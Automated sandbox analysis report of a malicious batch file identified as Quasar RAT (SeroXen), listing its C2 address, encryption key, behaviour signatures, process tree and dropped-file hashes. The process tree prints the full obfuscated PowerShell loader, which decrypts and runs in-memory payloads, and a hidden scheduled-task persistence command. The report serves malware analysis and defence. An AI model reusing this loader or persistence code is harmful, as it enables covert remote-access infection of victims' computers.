Analysis

  • max time kernel
    146s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-07-2024 16:35

General

  • Target

    Uni.bat

  • Size

    586KB

  • MD5

    3a43120a8dd1e42ff894670710bd8bc4

  • SHA1

    dbb9244231da204517f5d7a0e5ca713b64a3c175

  • SHA256

    b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d

  • SHA512

    15931135fd1fec93a3d77e0f28a19ca0780e7de34ab6a4f8174999cf534b4f810ace2bba0db3f2d0d0007199771b16d0c2bc3cdee48ef00a19be4705d3c26026

  • SSDEEP

    12288:qAtzNGPPmXaudwDKHYeRfRJUnYNY+yjOc3zRMh0KYQgrR3dih:3BsXvudwG4eR5yN6c3VS0KZ9

Malware Config

Extracted

Family

quasar

Version

15.5.0

Botnet

SeroXen

C2

147.185.221.20:49485

Mutex

QSR_MUTEX_rzhQPLl57DqbMvbZp9

Attributes
  • encryption_key

    M2nw0PLpJxuyZQLyQ14p

  • install_name

    Client.exe

  • log_directory

    $sxr-Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Modifies registry class 30 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    PID:784
    • C:\Windows\System32\mousocoreworker.exe
      C:\Windows\System32\mousocoreworker.exe -Embedding
      2⤵
        PID:1964
      • C:\Windows\system32\backgroundTaskHost.exe
        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
        2⤵
          PID:1176
        • C:\Windows\system32\BackgroundTaskHost.exe
          "C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
          2⤵
            PID:4048
          • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
            C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
            2⤵
              PID:2740
            • C:\Windows\system32\backgroundTaskHost.exe
              "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
              2⤵
                PID:2668
              • C:\Windows\system32\backgroundTaskHost.exe
                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                2⤵
                  PID:4580
                • C:\Windows\System32\mousocoreworker.exe
                  C:\Windows\System32\mousocoreworker.exe -Embedding
                  2⤵
                    PID:4196
                  • C:\Windows\system32\backgroundTaskHost.exe
                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                    2⤵
                      PID:4572
                    • C:\Windows\System32\RuntimeBroker.exe
                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                      2⤵
                        PID:2380
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k RPCSS -p
                      1⤵
                        PID:908
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                        1⤵
                          PID:960
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                          1⤵
                            PID:392
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                            1⤵
                              PID:868
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                              1⤵
                                PID:1032
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                1⤵
                                  PID:1092
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                  1⤵
                                    PID:1100
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                      PID:1216
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                      1⤵
                                      • Drops file in System32 directory
                                      PID:1244
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                      1⤵
                                        PID:1304
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                        1⤵
                                          PID:1328
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                          1⤵
                                            PID:1340
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                            1⤵
                                              PID:1420
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                              1⤵
                                                PID:1496
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                                1⤵
                                                  PID:1540
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                  1⤵
                                                    PID:1548
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                    1⤵
                                                      PID:1668
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                      1⤵
                                                        PID:1708
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                        1⤵
                                                          PID:1744
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                          1⤵
                                                            PID:1808
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                            1⤵
                                                              PID:1820
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                              1⤵
                                                                PID:1908
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                                1⤵
                                                                  PID:1916
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                  1⤵
                                                                    PID:1980
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                    1⤵
                                                                      PID:1988
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                      1⤵
                                                                        PID:2084
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                        1⤵
                                                                          PID:2096
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                          1⤵
                                                                            PID:2252
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                            1⤵
                                                                              PID:2260
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                              1⤵
                                                                                PID:2268
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                1⤵
                                                                                • Drops file in System32 directory
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:2392
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                                1⤵
                                                                                  PID:2432
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                  1⤵
                                                                                    PID:2480
                                                                                  • C:\Windows\System32\svchost.exe
                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                    1⤵
                                                                                      PID:2508
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                      1⤵
                                                                                        PID:2528
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                        1⤵
                                                                                          PID:3028
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                          1⤵
                                                                                            PID:3212
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                            1⤵
                                                                                              PID:3360
                                                                                            • C:\Windows\Explorer.EXE
                                                                                              C:\Windows\Explorer.EXE
                                                                                              1⤵
                                                                                              • Suspicious use of UnmapMainImage
                                                                                              PID:3452
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
                                                                                                2⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:4356
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OYi6jovj9grd+OhQ3Yq9CKyYEolqR3DCnwhMoiMIiic='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x758XCMTdc4jhHfAjXEAbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PTonT=New-Object System.IO.MemoryStream(,$param_var); $pteGk=New-Object System.IO.MemoryStream; $QeYIq=New-Object System.IO.Compression.GZipStream($PTonT, [IO.Compression.CompressionMode]::Decompress); $QeYIq.CopyTo($pteGk); $QeYIq.Dispose(); $PTonT.Dispose(); $pteGk.Dispose(); $pteGk.ToArray();}function execute_function($param_var,$param2_var){ $imxQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oCBDZ=$imxQj.EntryPoint; $oCBDZ.Invoke($null, $param2_var);}$bxwFd = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$host.UI.RawUI.WindowTitle = $bxwFd;$spiDd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bxwFd).Split([Environment]::NewLine);foreach ($urTOm in $spiDd) { if ($urTOm.StartsWith('VUGwKkMvYCOpuHkPGxtm')) { $jdwUC=$urTOm.Substring(20); break; }}$payloads_var=[string[]]$jdwUC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                  3⤵
                                                                                                    PID:1176
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                    3⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Modifies registry class
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:2008
                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_189_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_189.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                      4⤵
                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:4864
                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_189.vbs"
                                                                                                      4⤵
                                                                                                      • Checks computer location settings
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:5076
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_189.bat" "
                                                                                                        5⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:3784
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OYi6jovj9grd+OhQ3Yq9CKyYEolqR3DCnwhMoiMIiic='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x758XCMTdc4jhHfAjXEAbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PTonT=New-Object System.IO.MemoryStream(,$param_var); $pteGk=New-Object System.IO.MemoryStream; $QeYIq=New-Object System.IO.Compression.GZipStream($PTonT, [IO.Compression.CompressionMode]::Decompress); $QeYIq.CopyTo($pteGk); $QeYIq.Dispose(); $PTonT.Dispose(); $pteGk.Dispose(); $pteGk.ToArray();}function execute_function($param_var,$param2_var){ $imxQj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oCBDZ=$imxQj.EntryPoint; $oCBDZ.Invoke($null, $param2_var);}$bxwFd = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_189.bat';$host.UI.RawUI.WindowTitle = $bxwFd;$spiDd=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($bxwFd).Split([Environment]::NewLine);foreach ($urTOm in $spiDd) { if ($urTOm.StartsWith('VUGwKkMvYCOpuHkPGxtm')) { $jdwUC=$urTOm.Substring(20); break; }}$payloads_var=[string[]]$jdwUC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                          6⤵
                                                                                                            PID:4732
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                            6⤵
                                                                                                            • Blocklisted process makes network request
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:4572
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\nzQuyLQ4q2Fl.bat" "
                                                                                                              7⤵
                                                                                                                PID:4580
                                                                                                                • C:\Windows\system32\chcp.com
                                                                                                                  chcp 65001
                                                                                                                  8⤵
                                                                                                                    PID:1040
                                                                                                                  • C:\Windows\system32\PING.EXE
                                                                                                                    ping -n 10 localhost
                                                                                                                    8⤵
                                                                                                                    • Runs ping.exe
                                                                                                                    PID:372
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                      1⤵
                                                                                                        PID:3560
                                                                                                      • C:\Windows\System32\svchost.exe
                                                                                                        C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                        1⤵
                                                                                                          PID:4516
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                          1⤵
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:4896
                                                                                                        • C:\Windows\System32\svchost.exe
                                                                                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                          1⤵
                                                                                                            PID:1828
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                            1⤵
                                                                                                              PID:3236
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
                                                                                                              1⤵
                                                                                                              • Suspicious use of UnmapMainImage
                                                                                                              PID:1064
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                              1⤵
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:4308
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                                                                                                              1⤵
                                                                                                                PID:556
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                1⤵
                                                                                                                  PID:4040
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                  1⤵
                                                                                                                    PID:3600
                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4280,i,6522675234395427298,2952738987384583032,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:8
                                                                                                                    1⤵
                                                                                                                      PID:3528
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                      1⤵
                                                                                                                      • Checks processor information in registry
                                                                                                                      PID:1208

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

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                                                                                                                    Downloads

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                      Filesize

                                                                                                                      3KB

                                                                                                                      MD5

                                                                                                                      661739d384d9dfd807a089721202900b

                                                                                                                      SHA1

                                                                                                                      5b2c5d6a7122b4ce849dc98e79a7713038feac55

                                                                                                                      SHA256

                                                                                                                      70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

                                                                                                                      SHA512

                                                                                                                      81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      005bc2ef5a9d890fb2297be6a36f01c2

                                                                                                                      SHA1

                                                                                                                      0c52adee1316c54b0bfdc510c0963196e7ebb430

                                                                                                                      SHA256

                                                                                                                      342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

                                                                                                                      SHA512

                                                                                                                      f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

                                                                                                                    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

                                                                                                                      Filesize

                                                                                                                      338B

                                                                                                                      MD5

                                                                                                                      c0834b6ab0b2b9b183390770299075d5

                                                                                                                      SHA1

                                                                                                                      28bba45cff06d53905802c256ecad193c52b171b

                                                                                                                      SHA256

                                                                                                                      fb442a7cbda61b3dc7ba8e7aa60ffa9f5a1b8b968953516f39f89c3eca9d8004

                                                                                                                      SHA512

                                                                                                                      a9a4ab3b5db24454006908cf17f40e5f3430ffe8051d19f8ab609664e6a3a2254274b92e13713c924d00820372364cb4fa5550385115061f3060fc1c38a0de9a

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m2ski04a.r50.ps1

                                                                                                                      Filesize

                                                                                                                      60B

                                                                                                                      MD5

                                                                                                                      d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                      SHA1

                                                                                                                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                      SHA256

                                                                                                                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                      SHA512

                                                                                                                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\nzQuyLQ4q2Fl.bat

                                                                                                                      Filesize

                                                                                                                      276B

                                                                                                                      MD5

                                                                                                                      d9d7fdb7ec79e88edfacb4bd7e269d19

                                                                                                                      SHA1

                                                                                                                      4fffc84d43aaadafecde68c16068b433ea9303a6

                                                                                                                      SHA256

                                                                                                                      875d99e71338baaa86ddc2187e442255cd7e2365ecb7731a7865f1ade97e3549

                                                                                                                      SHA512

                                                                                                                      96e8ad0aeceec84a5e83cf28065153a00613d1cbd57232b83ce677270c2c3668f6ff0ad60d015ef2c1f761ad44b7c661eeaa88c61ba36df0453c4b51ec186648

                                                                                                                    • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_189.bat

                                                                                                                      Filesize

                                                                                                                      586KB

                                                                                                                      MD5

                                                                                                                      3a43120a8dd1e42ff894670710bd8bc4

                                                                                                                      SHA1

                                                                                                                      dbb9244231da204517f5d7a0e5ca713b64a3c175

                                                                                                                      SHA256

                                                                                                                      b3db27588a80527cb09b85476ed59ce698dc9a4b6b03246160de944ecc5ca79d

                                                                                                                      SHA512

                                                                                                                      15931135fd1fec93a3d77e0f28a19ca0780e7de34ab6a4f8174999cf534b4f810ace2bba0db3f2d0d0007199771b16d0c2bc3cdee48ef00a19be4705d3c26026

                                                                                                                    • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_189.vbs

                                                                                                                      Filesize

                                                                                                                      124B

                                                                                                                      MD5

                                                                                                                      31958b48cfc09466355f722b0d4e18cd

                                                                                                                      SHA1

                                                                                                                      e6e752e59820c94b198a760bc3613aca85d830bf

                                                                                                                      SHA256

                                                                                                                      dc3ec0269d39ecaace191ad0862a5a5e6c2ce0cfab394fd0c9de27f4a12b1e5a

                                                                                                                      SHA512

                                                                                                                      c1b47e21d1a4f5b39f3d0ee2a8ff9df7cae306834460e0050b39335b31a55018eabb88898703f3b01b92a80414cc4de904b1bfc5269728fbfaccdb6979f2d6ec

                                                                                                                    • C:\Users\Admin\AppData\Roaming\$sxr-Logs\07-01-~1

                                                                                                                      Filesize

                                                                                                                      224B

                                                                                                                      MD5

                                                                                                                      e2e720611cf02033c27e51ed40416333

                                                                                                                      SHA1

                                                                                                                      8c9d6c13697e08ac027b917067ab95425b68a416

                                                                                                                      SHA256

                                                                                                                      109756f92c2183197e9ed438421ea126afc385d95ef25a92a2909f5241fb12b4

                                                                                                                      SHA512

                                                                                                                      1b5aaccf6a19b605f8a3cc118ee6eb548740fdf978009d99ec6b179546cde77039d6bb9cf01a5fbd6e47a16008c41e63dd17f30f9b7de688b2012acafcf7c077

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      8abf2d6067c6f3191a015f84aa9b6efe

                                                                                                                      SHA1

                                                                                                                      98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

                                                                                                                      SHA256

                                                                                                                      ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

                                                                                                                      SHA512

                                                                                                                      c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      f313c5b4f95605026428425586317353

                                                                                                                      SHA1

                                                                                                                      06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                      SHA256

                                                                                                                      129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                      SHA512

                                                                                                                      b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                      SHA1

                                                                                                                      a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                      SHA256

                                                                                                                      98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                      SHA512

                                                                                                                      1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                      SHA1

                                                                                                                      63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                      SHA256

                                                                                                                      727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                      SHA512

                                                                                                                      f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                    • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                      SHA1

                                                                                                                      5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                      SHA256

